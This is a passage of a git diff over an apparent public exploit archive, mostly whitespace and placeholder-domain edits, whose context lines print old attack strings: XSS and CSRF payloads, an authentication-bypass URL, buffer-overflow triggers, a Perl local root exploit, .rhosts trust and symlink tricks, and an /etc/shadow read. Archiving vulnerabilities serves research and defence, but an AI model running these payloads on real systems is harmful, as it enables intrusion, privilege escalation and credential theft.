CODE!]%20%3C# \ No newline at end of file diff --git a/platforms/hardware/remote/38692.txt b/platforms/hardware/remote/38692.txt index d0b5fb13f..66c52172f 100755 --- a/platforms/hardware/remote/38692.txt +++ b/platforms/hardware/remote/38692.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow AlgoSec Firewall Analyzer 6.1-b86 is affected; other versions may also be vulnerable. -http//www.example.com/afa/php/Login.php/>'><ScRiPt>alert(11111111)</ScRiPt> HTTP/1.1 \ No newline at end of file +http//www.example.com/afa/php/Login.php/>'><ScRiPt>alert(11111111)</ScRiPt> HTTP/1.1 \ No newline at end of file diff --git a/platforms/hardware/remote/38850.txt b/platforms/hardware/remote/38850.txt index 306ea0f0a..ced8bc6ba 100755 --- a/platforms/hardware/remote/38850.txt +++ b/platforms/hardware/remote/38850.txt @@ -6,4 +6,4 @@ Successfully exploiting this issue may allow an attacker to upload and execute a Thomson Reuters Velocity Analytics 6.94 build 2995 is vulnerable; other versions may also be affected. -http://www.example.com/VhttpdMgr?action=importFile&fileName={BACKDOOR} \ No newline at end of file +http://www.example.com/VhttpdMgr?action=importFile&fileName={BACKDOOR} \ No newline at end of file diff --git a/platforms/hardware/remote/38851.html b/platforms/hardware/remote/38851.html index 9867b6231..8fad9af20 100755 --- a/platforms/hardware/remote/38851.html +++ b/platforms/hardware/remote/38851.html @@ -14,4 +14,4 @@ Attackers can exploit this issue to perform certain administrative actions and g <input type="submit" value="Submit form" /> </form> </body> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/hardware/remote/39154.txt b/platforms/hardware/remote/39154.txt index 2748b9dc8..ba96bf036 100755 --- a/platforms/hardware/remote/39154.txt +++ b/platforms/hardware/remote/39154.txt @@ -6,4 +6,4 @@ An attacker can exploit these vulnerabilities to execute arbitrary script code i Comtrend CT-5361T firmware version A111-312SSG-T02_R01 is vulnerable; other versions may also be affected. -http://www.example.com/password.cgi?sysPassword=[Your Password] \ No newline at end of file +http://www.example.com/password.cgi?sysPassword=[Your Password] \ No newline at end of file diff --git a/platforms/hardware/remote/39278.txt b/platforms/hardware/remote/39278.txt index 6852b0ee8..a99bd8d6c 100755 --- a/platforms/hardware/remote/39278.txt +++ b/platforms/hardware/remote/39278.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to bypass the authentication mechanism and ga Barracuda Web Application Firewall 7.8.1.013 is vulnerable; other versions may also be affected. -http://www.example.com/cgi-mod/index.cgi?auth_type=Local&et=99999999996locale=en_US&password=5a2fd48b65c5d80881eeb0f738bcc6dc&primary_tab=SECURITY%20POLICIES&secondary_tab=request_limits&user=guest \ No newline at end of file +http://www.example.com/cgi-mod/index.cgi?auth_type=Local&et=99999999996locale=en_US&password=5a2fd48b65c5d80881eeb0f738bcc6dc&primary_tab=SECURITY%20POLICIES&secondary_tab=request_limits&user=guest \ No newline at end of file diff --git a/platforms/hardware/remote/39823.py b/platforms/hardware/remote/39823.py index e66bf32e7..ee3b88ed1 100755 --- a/platforms/hardware/remote/39823.py +++ b/platforms/hardware/remote/39823.py @@ -475,3 +475,4 @@ if __name__ == "__main__": # Hopefully we'll get something interesting exploit.interact() + \ No newline at end of file diff --git a/platforms/hardware/remote/40258.txt b/platforms/hardware/remote/40258.txt index 2398dd82e..ecaf93f09 100755 --- a/platforms/hardware/remote/40258.txt +++ b/platforms/hardware/remote/40258.txt @@ -1,4 +1,4 @@ -# Exploit Title: Cisco ASA 8.X Authentication Bypass + # Exploit Title: Cisco ASA 8.X Authentication Bypass # Date: 17-08-2016 # Exploit Author: Equation Group # Vendor Homepage: Cisco diff --git a/platforms/hardware/remote/5150.txt b/platforms/hardware/remote/5150.txt index 697daa855..d94f10394 100755 --- a/platforms/hardware/remote/5150.txt +++ b/platforms/hardware/remote/5150.txt @@ -39,7 +39,7 @@ Bug in : usrgetform.html -Exploit : www.server:9443/usr/usrgetform.html?name=Shelz? +Exploit : www.site.com:9443/usr/usrgetform.html?name=Shelz? Ä°nfo : http://www.thecus.com/products_over.php?cid=11&pid=8 diff --git a/platforms/hardware/remote/5313.txt b/platforms/hardware/remote/5313.txt index ee5f0e283..9e7f2d095 100755 --- a/platforms/hardware/remote/5313.txt +++ b/platforms/hardware/remote/5313.txt @@ -1,4 +1,4 @@ -regurgitated by: meathive + regurgitated by: meathive url: kinqpinz.info ;] Tue, 05 Feb 2008 07:51:41 -0700 ############################################################################ diff --git a/platforms/hardware/remote/6899.txt b/platforms/hardware/remote/6899.txt index e76ce3782..ebc52b9b3 100755 --- a/platforms/hardware/remote/6899.txt +++ b/platforms/hardware/remote/6899.txt @@ -1,4 +1,4 @@ -Louhi Networks Information Security Research + Louhi Networks Information Security Research Security Advisory diff --git a/platforms/hardware/remote/8269.txt b/platforms/hardware/remote/8269.txt index f32a4ab96..1212c6934 100755 --- a/platforms/hardware/remote/8269.txt +++ b/platforms/hardware/remote/8269.txt @@ -1,4 +1,4 @@ -Louhi Networks Oy + Louhi Networks Oy -= Security Advisory =- diff --git a/platforms/hardware/webapps/10347.txt b/platforms/hardware/webapps/10347.txt index 638f3b1e5..7320e4e30 100755 --- a/platforms/hardware/webapps/10347.txt +++ b/platforms/hardware/webapps/10347.txt @@ -65,7 +65,7 @@ Screenshots: Reference: -http://test-server/cgi-mod/smtp_test.cgi?locale=en_US&host=undefined&port=undefined&domain= +http://test-server.com/cgi-mod/smtp_test.cgi?locale=en_US&host=undefined&port=undefined&domain= undefined&email=[Input Validation Vulnerability]&hostname=[Input Validation Vulnerability]&default_domain= [Input Validation Vulnerability]&user=guest&password=40aab35d3c647ad41f9e154ea7f15d13&et=1260212946 @@ -78,7 +78,7 @@ Vulnerable Modules: [+] SMTP Mail - Troubleshooting As you can see in the mask(Picture 1) its possible to include a test connection on SMTP. In this Form its possible to include Script-Codes what got be executed after submit on server-side in the cache. -To bypass the restriction of the email filter use a string like ... >"<script>[Code]</script>@mailserver +To bypass the restriction of the email filter use a string like ... >"<script>[Code]</script>@mailserver.com On our Pentests we verified the vulnerability by loading a malicious "bad-example.exe" file out of the firewall application. XSS, CSRF, Phishing, Script Code Executions & specific manipulations are possible over that Form to get access. diff --git a/platforms/hardware/webapps/11030.txt b/platforms/hardware/webapps/11030.txt index da2e18f42..35f2c33a6 100755 --- a/platforms/hardware/webapps/11030.txt +++ b/platforms/hardware/webapps/11030.txt @@ -6,7 +6,7 @@ # Tested on: Windows Sp 2 # Site : http://Hacking.ge # Code : -POST http://server80/auth.asp HTTP/1.0 +POST http://site.com80/auth.asp HTTP/1.0 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) diff --git a/platforms/hardware/webapps/18122.txt b/platforms/hardware/webapps/18122.txt index ab9535f63..233e241c8 100755 --- a/platforms/hardware/webapps/18122.txt +++ b/platforms/hardware/webapps/18122.txt @@ -1,4 +1,4 @@ -================================================================================ + ================================================================================ SonicWALL Aventail SSL-VPN SQL Injection Vulnerability ================================================================================ diff --git a/platforms/hardware/webapps/19859.txt b/platforms/hardware/webapps/19859.txt index 829e958f9..a023a2274 100755 --- a/platforms/hardware/webapps/19859.txt +++ b/platforms/hardware/webapps/19859.txt @@ -1,4 +1,4 @@ -Exploit Title: Vivotek Full Data Source CONFIG + Exploit Title: Vivotek Full Data Source CONFIG # Date: 09/07/12 # Author: Alejandro Leon Morales [GothicX] # Author Mail: Gothicx[at]freaknetwork[dot]in diff --git a/platforms/hardware/webapps/23498.txt b/platforms/hardware/webapps/23498.txt index 37f2a17b4..22579a75d 100755 --- a/platforms/hardware/webapps/23498.txt +++ b/platforms/hardware/webapps/23498.txt @@ -109,7 +109,7 @@ inputxml=<dbInfo><dbInfoRequest><pageId>appFirewallObjects</pageId><tableType>15 --- POST REQUEST FULL (MANIPULATED!) --- -Host=realtime.pentest.server +Host=realtime.pentest.server.com User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0 Accept=application/json, text/javascript, */* @@ -120,7 +120,7 @@ Connection=keep-alive Content-Type= application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With=XMLHttpRequest -Referer=https://realtime.pentest.server/appFirewallObjects.html? +Referer=https://realtime.pentest.server.com/appFirewallObjects.html? sortCol=1&sortInverted=0.html Content-Length=475 Cookie=__utma=31673917.1419029853.1353291737.1353291737.1353374336.9; diff --git a/platforms/hardware/webapps/24928.txt b/platforms/hardware/webapps/24928.txt index 6027194b9..1e998e268 100755 --- a/platforms/hardware/webapps/24928.txt +++ b/platforms/hardware/webapps/24928.txt @@ -33,4 +33,4 @@ You can easily change the default user's (admin) password by the default router ========== Save this as csrf.html and this will change the router password to blank if the current user admin visits this page his password will be resetted to blank. You can login with the username admin and password (blank). -#Greetz to G2, Zer0Freak, HR aka MrGreen, Divine, Keeper, SubZer0, zer0time, Zer0wl, Cyb_iDioT, Prominent, Raw-x, Kasper, D3ADSH0T \ No newline at end of file +#Greetz to G2, Zer0Freak, HR aka MrGreen, Divine, Keeper, SubZer0, zer0time, Zer0wl, Cyb_iDioT, Prominent, Raw-x, Kasper, D3ADSH0T \ No newline at end of file diff --git a/platforms/hardware/webapps/25976.txt b/platforms/hardware/webapps/25976.txt index 038bc25ef..f2888c3ba 100755 --- a/platforms/hardware/webapps/25976.txt +++ b/platforms/hardware/webapps/25976.txt @@ -140,7 +140,7 @@ the default error page, helping him to develop social engineering attacks. This could be done as follows; https://x.x.x.x/ServerAdmin/ErrorViewer.jsp?message=Message forged -example, please visit www.ev1lserver.au +example, please visit www.ev1lsite.com.au HTTP/1.1 200 OK @@ -163,7 +163,7 @@ title="ServerAdmin Style Sheet"> <TABLE class=MsgTable Height=4 Width=435> <TR> <TD><B>Error Message:</B></TD> -<TD>Message forged example, please visit www.ev1lserver.au</TD> +<TD>Message forged example, please visit www.ev1lsite.com.au</TD> </TR> </TABLE> <BR><IMG src="image/line.gif" border=0> diff --git a/platforms/hardware/webapps/32883.txt b/platforms/hardware/webapps/32883.txt index 44b631f63..6cf1d21fd 100755 --- a/platforms/hardware/webapps/32883.txt +++ b/platforms/hardware/webapps/32883.txt @@ -102,4 +102,4 @@ wndr3400: 10198 for wndr3400 - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/hardware/webapps/34956.txt b/platforms/hardware/webapps/34956.txt index b8b169def..f19057f99 100755 --- a/platforms/hardware/webapps/34956.txt +++ b/platforms/hardware/webapps/34956.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ diff --git a/platforms/hardware/webapps/35933.txt b/platforms/hardware/webapps/35933.txt index a848ef1f1..4aa3f1d9c 100755 --- a/platforms/hardware/webapps/35933.txt +++ b/platforms/hardware/webapps/35933.txt @@ -1,4 +1,4 @@ -################################################################################################ + ################################################################################################ # # # ...:::::ManageEngine Firewall Analyzer Directory Traversal/XSS Vulnerabilities::::.... # # ############################################################################################# @@ -49,3 +49,4 @@ Signal Network And Security Group (www.signal-net.net) E-mail: amirhadi.yazdani@gmail.com,a.h.yazdani@signal-net.net + \ No newline at end of file diff --git a/platforms/hardware/webapps/37135.txt b/platforms/hardware/webapps/37135.txt index 5b50b2814..47526d002 100755 --- a/platforms/hardware/webapps/37135.txt +++ b/platforms/hardware/webapps/37135.txt @@ -4,4 +4,4 @@ iGuard Security Access Control is prone to a cross-site scripting vulnerability An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/></font><IFRAME SRC="JAVASCRIPT:alert('XSS Found by Usman Saeed , Xc0re Security Research Group');">.asp \ No newline at end of file +http://www.example.com/></font><IFRAME SRC="JAVASCRIPT:alert('XSS Found by Usman Saeed , Xc0re Security Research Group');">.asp \ No newline at end of file diff --git a/platforms/hardware/webapps/37214.txt b/platforms/hardware/webapps/37214.txt index d04497c66..f919faac8 100755 --- a/platforms/hardware/webapps/37214.txt +++ b/platforms/hardware/webapps/37214.txt @@ -1,4 +1,4 @@ -Broadlight Residential Gateway DI3124 + Broadlight Residential Gateway DI3124 Unauthenticated Remote DNS Change Copyright 2015 (c) Todor Donev diff --git a/platforms/hardware/webapps/37237.txt b/platforms/hardware/webapps/37237.txt index 5a41f1a1a..c2145db25 100755 --- a/platforms/hardware/webapps/37237.txt +++ b/platforms/hardware/webapps/37237.txt @@ -1,4 +1,4 @@ -D-Link DSL-2780B DLink_1.01.14 + D-Link DSL-2780B DLink_1.01.14 Unauthenticated Remote DNS Change Copyright 2015 (c) Todor Donev diff --git a/platforms/hardware/webapps/37238.txt b/platforms/hardware/webapps/37238.txt index 3e29924d7..39eda3f93 100755 --- a/platforms/hardware/webapps/37238.txt +++ b/platforms/hardware/webapps/37238.txt @@ -1,4 +1,4 @@ -TP-Link ADSL2+ TD-W8950ND + TP-Link ADSL2+ TD-W8950ND Unauthenticated Remote DNS Change Copyright 2015 (c) Todor Donev diff --git a/platforms/hardware/webapps/37240.txt b/platforms/hardware/webapps/37240.txt index 26b87639c..77ffd49e2 100755 --- a/platforms/hardware/webapps/37240.txt +++ b/platforms/hardware/webapps/37240.txt @@ -1,4 +1,4 @@ -D-Link DSL-2730B AU_2.01 + D-Link DSL-2730B AU_2.01 Authentication Bypass DNS Change Copyright 2015 (c) Todor Donev diff --git a/platforms/hardware/webapps/37241.txt b/platforms/hardware/webapps/37241.txt index bde1593bb..5d2acf790 100755 --- a/platforms/hardware/webapps/37241.txt +++ b/platforms/hardware/webapps/37241.txt @@ -1,4 +1,4 @@ -D-Link DSL-526B ADSL2+ AU_2.01 + D-Link DSL-526B ADSL2+ AU_2.01 Unauthenticated Remote DNS Change Copyright 2015 (c) Todor Donev diff --git a/platforms/hardware/webapps/38369.txt b/platforms/hardware/webapps/38369.txt index fe9e70040..571ebaeda 100755 --- a/platforms/hardware/webapps/38369.txt +++ b/platforms/hardware/webapps/38369.txt @@ -97,4 +97,4 @@ Set-Cookie: HcsoB=60cd4a687de94857; path=/; <err>0x40</err> </result> </rcp> - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/hardware/webapps/39659.txt b/platforms/hardware/webapps/39659.txt index bda2d750c..4999ff62a 100755 --- a/platforms/hardware/webapps/39659.txt +++ b/platforms/hardware/webapps/39659.txt @@ -1,4 +1,4 @@ -_ _ _ _ + _ _ _ _ | | | | | | ___ _ ____ _____| | | | __ _| |__ ___ / _ \| '__\ \ /\ / / _ \ | | |/ _` | '_ \/ __| diff --git a/platforms/hardware/webapps/39672.txt b/platforms/hardware/webapps/39672.txt index 026d98b8e..5f35097e4 100755 --- a/platforms/hardware/webapps/39672.txt +++ b/platforms/hardware/webapps/39672.txt @@ -1,4 +1,4 @@ -_ _ _ _ + _ _ _ _ | | | | | | ___ _ ____ _____| | | | __ _| |__ ___ / _ \| '__\ \ /\ / / _ \ | | |/ _` | '_ \/ __| diff --git a/platforms/hardware/webapps/39683.txt b/platforms/hardware/webapps/39683.txt index ce466ed2b..4d27be4f8 100755 --- a/platforms/hardware/webapps/39683.txt +++ b/platforms/hardware/webapps/39683.txt @@ -1,4 +1,4 @@ -_ _ _ _ + _ _ _ _ | | | | | | ___ _ ____ _____| | | | __ _| |__ ___ / _ \| '__\ \ /\ / / _ \ | | |/ _` | '_ \/ __| 6079 Smith W diff --git a/platforms/hardware/webapps/39696.txt b/platforms/hardware/webapps/39696.txt index e54764657..8cb68795f 100755 --- a/platforms/hardware/webapps/39696.txt +++ b/platforms/hardware/webapps/39696.txt @@ -1,4 +1,4 @@ -_ _ _ _ + _ _ _ _ | | | | | | ___ _ ____ _____| | | | __ _| |__ ___ / _ \| '__\ \ /\ / / _ \ | | |/ _` | '_ \/ __| diff --git a/platforms/hardware/webapps/39798.txt b/platforms/hardware/webapps/39798.txt index 4ea47d2d4..048e374bb 100755 --- a/platforms/hardware/webapps/39798.txt +++ b/platforms/hardware/webapps/39798.txt @@ -1,4 +1,4 @@ -| | | | + | | | | _ \ _|\ \ \ / -_) | | | _` | _ \(_-< \___/_| \_/\_/\___|_|_|_|\__,_|_.__/___/ diff --git a/platforms/hp-ux/dos/22561.txt b/platforms/hp-ux/dos/22561.txt index 23bd58a2a..b52c5460d 100755 --- a/platforms/hp-ux/dos/22561.txt +++ b/platforms/hp-ux/dos/22561.txt @@ -6,4 +6,4 @@ The condition presents itself when excessive data is supplied as part of an argu The precise technical details of this vulnerability are currently unknown. This BID will be updated, as further information is available. -$ /usr/lbin/rwrite something `perl -e 'print "A" x 14628'` something \ No newline at end of file +$ /usr/lbin/rwrite something `perl -e 'print "A" x 14628'` something \ No newline at end of file diff --git a/platforms/hp-ux/dos/23236.txt b/platforms/hp-ux/dos/23236.txt index 8bf4e2313..9abd2a06f 100755 --- a/platforms/hp-ux/dos/23236.txt +++ b/platforms/hp-ux/dos/23236.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/8795/info It has been reported that dtprintinfo, installed setuid root by default, is susceptible to a locally exploitable buffer overflow vulnerability. The condition is triggered when the value of the DISPLAY environment variable is set to a string exceeding 9777 bytes in length. The vulnerability may allow for local attackers to gain root privileges on the affected host. -export DISPLAY="`perl -e 'printf "A" x 9777'`" \ No newline at end of file +export DISPLAY="`perl -e 'printf "A" x 9777'`" \ No newline at end of file diff --git a/platforms/hp-ux/local/19535.pl b/platforms/hp-ux/local/19535.pl index 2d2923c32..bf91b29a0 100755 --- a/platforms/hp-ux/local/19535.pl +++ b/platforms/hp-ux/local/19535.pl @@ -64,4 +64,4 @@ $num=int(($offset-length($code)-length($data)-4)/4); $pre="$nop"x$num; $of=$prealign; $of.=$pre.$code.$data.$postalign.$pcoq; -exec("/bin/newgrp","$of"); \ No newline at end of file +exec("/bin/newgrp","$of"); \ No newline at end of file diff --git a/platforms/hp-ux/local/19990.txt b/platforms/hp-ux/local/19990.txt index 14d3c8500..349033be1 100755 --- a/platforms/hp-ux/local/19990.txt +++ b/platforms/hp-ux/local/19990.txt @@ -12,4 +12,4 @@ Details: 4) man opens the tempfiles with O_TRUNC. This means that when a file is symlinked to, that file is blindly truncated. This could lead to easy denial-of-service if you want to trash the password file or a hard disk device file. This could also have bad effects on sane man program operation, regardless of security, if a user runs man and leaves it running, then PIDs are wrapped around and someone of higher privilege runs man and overwrites your tempfiles! -Create ~65535 catXXXX or manXXXX symlinks in /tmp, pointing to the file you want to overwrite (e.g. /etc/passwd). Then wait. When root runs man, the file will be blindly overwritten with the formatted manpage contents (cat????) or unformatted (man????) are written to the symlinked file. \ No newline at end of file +Create ~65535 catXXXX or manXXXX symlinks in /tmp, pointing to the file you want to overwrite (e.g. /etc/passwd). Then wait. When root runs man, the file will be blindly overwritten with the formatted manpage contents (cat????) or unformatted (man????) are written to the symlinked file. \ No newline at end of file diff --git a/platforms/hp-ux/local/20002.txt b/platforms/hp-ux/local/20002.txt index e3a1dc681..d57ee20a6 100755 --- a/platforms/hp-ux/local/20002.txt +++ b/platforms/hp-ux/local/20002.txt @@ -4,4 +4,4 @@ A vulnerability exists in the snmpd included with HPUX 11, from Hewlett Packard. Another vulnerability exists which allows users to redirect the logging location of snmpd to an alternate location, using symbolic links. This file is in a mode 777 directory, so any user can remove a file that already exists. Used in conjunction with the ability to alter configuration, this may also help leverage root access. This file is created at boot time, and while /tmp is cleared of its contents, there may be a potential window where a user can create a symbolic link prior to its creation, and directly use this to elevate privileges. -edit /etc/SnmpAgent.d/snmpd.conf. It is world writable. \ No newline at end of file +edit /etc/SnmpAgent.d/snmpd.conf. It is world writable. \ No newline at end of file diff --git a/platforms/hp-ux/local/20724.txt b/platforms/hp-ux/local/20724.txt index db662ce8a..c0db72256 100755 --- a/platforms/hp-ux/local/20724.txt +++ b/platforms/hp-ux/local/20724.txt @@ -24,4 +24,4 @@ invalid command splex:BdJCfh1D32hzo:11290:::::: Executing: foo:2MQXUgAcnOcEU:11344:::::: invalid command foo:2MQXUgAcnOcEU:11344:::::: qdump> quit -$ \ No newline at end of file +$ \ No newline at end of file diff --git a/platforms/ios/dos/11890.txt b/platforms/ios/dos/11890.txt index ab83f6f85..2d28a51c1 100755 --- a/platforms/ios/dos/11890.txt +++ b/platforms/ios/dos/11890.txt @@ -4,7 +4,7 @@ # Author: Nishant Das Patnaik # For more of Nishant's research, please visit: -# http://nishantdaspatnaik.yolaserver/research.php +# http://nishantdaspatnaik.yolasite.com/research.php # Tested on: iPod Touch 3G (iPhone OS 3.1.3) diff --git a/platforms/ios/dos/11891.txt b/platforms/ios/dos/11891.txt index 8a9f488f9..fddfa368e 100755 --- a/platforms/ios/dos/11891.txt +++ b/platforms/ios/dos/11891.txt @@ -4,7 +4,7 @@ # Author: Nishant Das Patnaik # For more of Nishant's research, please visit: -# http://nishantdaspatnaik.yolaserver/research.php +# http://nishantdaspatnaik.yolasite.com/research.php # Tested on: iPod Touch 3G (iPhone OS 3.1.3) diff --git a/platforms/ios/dos/13870.py b/platforms/ios/dos/13870.py index e86d12168..e681d447a 100755 --- a/platforms/ios/dos/13870.py +++ b/platforms/ios/dos/13870.py @@ -1,7 +1,7 @@ # Exploit: QuickOffice v3.1.0 for iPhone/iPod Touch Malformed HTTP Method Remote DoS # Date: 14/06/2010 # Author: Nishant Das Patnaik -# Website: http://nishantdaspatnaik.yolaserver +# Website: http://nishantdaspatnaik.yolasite.com # Software Link: http://itunes.apple.com/us/app/quickoffice-connect/id304673686?mt=8 # Version: 3.1.0 # Tested on: iPod 2G with iOS v3.1.3 @@ -24,7 +24,7 @@ def main(argv): sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sd.connect((host, port)) print "[+] Sending payload..." - print "[+] Did you see that b00m? http://nishantdaspatnaik.yolaserver" + print "[+] Did you see that b00m? http://nishantdaspatnaik.yolasite.com" sd.send(payload) sd.close() if __name__ == "__main__": diff --git a/platforms/ios/dos/13871.py b/platforms/ios/dos/13871.py index de9820f93..473e0d2ea 100755 --- a/platforms/ios/dos/13871.py +++ b/platforms/ios/dos/13871.py @@ -1,7 +1,7 @@ # Exploit: Impact PDF Reader v2.0 for iPhone/iPod Touch POST Method Remote DoS # Date: 14/06/2010 # Author: Nishant Das Patnaik -# Website: http://nishantdaspatnaik.yolaserver +# Website: http://nishantdaspatnaik.yolasite.com # Software Link: http://itunes.apple.com/us/app/impact-pdf-reader/id322140783?mt=8* # Version: 2.0, 1.2 # Tested on: iPod 2G with iOS v3.1.3 @@ -26,7 +26,7 @@ def main(argv): sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sd.connect((host, port)) print "[+] Sending payload..." - print "[+] Did you see that b00m? ;) http://nishantdaspatnaik.yolaserver" + print "[+] Did you see that b00m? ;) http://nishantdaspatnaik.yolasite.com" sd.send(payload) sd.close() if __name__ == "__main__": diff --git a/platforms/ios/remote/34399.txt b/platforms/ios/remote/34399.txt index 158f879ca..4c82211ca 100755 --- a/platforms/ios/remote/34399.txt +++ b/platforms/ios/remote/34399.txt @@ -104,3 +104,4 @@ We can look for all the memos by incrementing the value of "id" + \ No newline at end of file diff --git a/platforms/ios/remote/39114.txt b/platforms/ios/remote/39114.txt index 1cea26274..7094be2d1 100755 --- a/platforms/ios/remote/39114.txt +++ b/platforms/ios/remote/39114.txt @@ -6,4 +6,4 @@ Successfully exploiting this issue may allow an attacker to bypass certain secur These issues affect Apple iOS versions prior to 7.1. -<iframe src="facetime-audio://user () host com"></iframe> \ No newline at end of file +<iframe src="facetime-audio://user () host com"></iframe> \ No newline at end of file diff --git a/platforms/irix/dos/22638.txt b/platforms/irix/dos/22638.txt index 7179b0389..c2c1d6ac2 100755 --- a/platforms/irix/dos/22638.txt +++ b/platforms/irix/dos/22638.txt @@ -5,4 +5,4 @@ A buffer overflow vulnerability has been reported for the MediaMail binary that Although unconfirmed, an attacker, using a custom crafted string, could overwrite stack memory, including the return address of a function, and potentially execute arbitrary code with group 'mail' privileges. sh$ export $HOME=`perl -e 'print "A"x12096' -sh$ /usr/bin/X11/MediaMail \ No newline at end of file +sh$ /usr/bin/X11/MediaMail \ No newline at end of file diff --git a/platforms/irix/local/19163.sh b/platforms/irix/local/19163.sh index 3bd6a7532..400ee56c3 100755 --- a/platforms/irix/local/19163.sh +++ b/platforms/irix/local/19163.sh @@ -18,4 +18,4 @@ cat > /tmp/dvhtool << 'EOF' EOF /sbin/chmod 700 /tmp/dvhtool PATH=/tmp:$PATH -/sbin/ioconfig -f /hw \ No newline at end of file +/sbin/ioconfig -f /hw \ No newline at end of file diff --git a/platforms/irix/local/19262.txt b/platforms/irix/local/19262.txt index c38bb39e3..c4824d47c 100755 --- a/platforms/irix/local/19262.txt +++ b/platforms/irix/local/19262.txt @@ -8,4 +8,4 @@ umask 000 cdplayer -dbcdir /usr/admin/ echo "+ +" > /usr/admin/.rhosts chown root.sys /usr/admin/.rhosts -rsh localhost -l sysadm \ No newline at end of file +rsh localhost -l sysadm \ No newline at end of file diff --git a/platforms/irix/local/19268.txt b/platforms/irix/local/19268.txt index 94cdaf9ee..00b611201 100755 --- a/platforms/irix/local/19268.txt +++ b/platforms/irix/local/19268.txt @@ -17,4 +17,4 @@ New OK OK Cancel -double-click any of the mounted filesystems to bring up the desktopManager \ No newline at end of file +double-click any of the mounted filesystems to bring up the desktopManager \ No newline at end of file diff --git a/platforms/irix/local/19269.txt b/platforms/irix/local/19269.txt index 6cb19f2d2..6d3762aa8 100755 --- a/platforms/irix/local/19269.txt +++ b/platforms/irix/local/19269.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/336/info Colorview fails to validate that the user has access to the file supplied to the -text option. As a result, users can view arbitrary files. -/usr/sbin/colorview -text /var/spool/mail/admin \ No newline at end of file +/usr/sbin/colorview -text /var/spool/mail/admin \ No newline at end of file diff --git a/platforms/irix/local/19275.c b/platforms/irix/local/19275.c index 01dcdf895..8316fa85f 100755 --- a/platforms/irix/local/19275.c +++ b/platforms/irix/local/19275.c @@ -19,4 +19,4 @@ system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); Created "/tmp/blah" Converting /home/medc2/yuri/.cdplayerrc into /tmp/blah % ls -l /tmp/sh --r-sr-sr-x 1 root sys 140784 Dec 9 15:24 /tmp/sh* \ No newline at end of file +-r-sr-sr-x 1 root sys 140784 Dec 9 15:24 /tmp/sh* \ No newline at end of file diff --git a/platforms/irix/local/19349.txt b/platforms/irix/local/19349.txt index ded208909..685d43011 100755 --- a/platforms/irix/local/19349.txt +++ b/platforms/irix/local/19349.txt @@ -5,4 +5,4 @@ A vulnerability exists in the rmail utility, included by SGI with it's Irix oper The following example is provided: -setenv LOGNAME blah; command-to-execute \ No newline at end of file +setenv LOGNAME blah; command-to-execute \ No newline at end of file diff --git a/platforms/irix/local/19355.txt b/platforms/irix/local/19355.txt index 67710b6ab..805ff5138 100755 --- a/platforms/irix/local/19355.txt +++ b/platforms/irix/local/19355.txt @@ -9,4 +9,4 @@ A vulnerability exists in the startmidi program from Silicon Graphics. This util % ls -l /blardyblar -rw-rw-rw- 1 root pgrad 0 Feb 9 17:46 /blardyblar % stopmidi -d /dev/ttyd1 -% \ No newline at end of file +% \ No newline at end of file diff --git a/platforms/irix/local/19356.txt b/platforms/irix/local/19356.txt index bc20b9346..5569f9f1d 100755 --- a/platforms/irix/local/19356.txt +++ b/platforms/irix/local/19356.txt @@ -14,4 +14,4 @@ Successfully completed exit-commands from previous session. Reading installation history Checking dependencies ERROR : Software Manager: automatic installation failed: New -target (nothing installed) and no distribution. \ No newline at end of file +target (nothing installed) and no distribution. \ No newline at end of file diff --git a/platforms/irix/local/19358.txt b/platforms/irix/local/19358.txt index 98d3f7852..f715b1366 100755 --- a/platforms/irix/local/19358.txt +++ b/platforms/irix/local/19358.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/472/info The xfsdump program shipped with Irix 5.x and 6.x from SGI contains a vulnerability which could lead to root compromise. By creating a log file in /usr/tmp called bck.log, a user could create a symbolic link from this file to any file they wish to be created as root. This is turn could be used to compromise the system. -ln -sf /.rhosts /usr/tmp/bck.log \ No newline at end of file +ln -sf /.rhosts /usr/tmp/bck.log \ No newline at end of file diff --git a/platforms/irix/local/20263.txt b/platforms/irix/local/20263.txt index f3062ed21..3e6840a83 100755 --- a/platforms/irix/local/20263.txt +++ b/platforms/irix/local/20263.txt @@ -6,4 +6,4 @@ This is SGI SCR # 265071. If you attempt to change the permissions of a file you don't have privileges for the permissions tool will prompt you for the name and password of a privileged user. But the permission changes are made to the target file before the tool prompts you for the password if you double click "Apply". -Run /usr/lib/desktop/permissions aganist the file which permissions you want to modify. Change the permissions. Click on the 'Apply' button twice before the dialog box appears asking you for a username and password. Click the 'Cancel' button. \ No newline at end of file +Run /usr/lib/desktop/permissions aganist the file which permissions you want to modify. Change the permissions. Click on the 'Apply' button twice before the dialog box appears asking you for a username and password. Click the 'Cancel' button. \ No newline at end of file diff --git a/platforms/irix/local/25361.txt b/platforms/irix/local/25361.txt index 1f8fb782f..50773ac58 100755 --- a/platforms/irix/local/25361.txt +++ b/platforms/irix/local/25361.txt @@ -4,4 +4,4 @@ gr_osview is reported prone to an information disclosure vulnerability. This iss This issue has been confirmed in SGI IRIX 6.5.22 maintenance release. Other versions of IRIX may be vulnerable as well. -gr_osview -d -D /etc/shadow \ No newline at end of file +gr_osview -d -D /etc/shadow \ No newline at end of file diff --git a/platforms/irix/local/25362.txt b/platforms/irix/local/25362.txt index 74d8869e4..d3a577c98 100755 --- a/platforms/irix/local/25362.txt +++ b/platforms/irix/local/25362.txt @@ -6,4 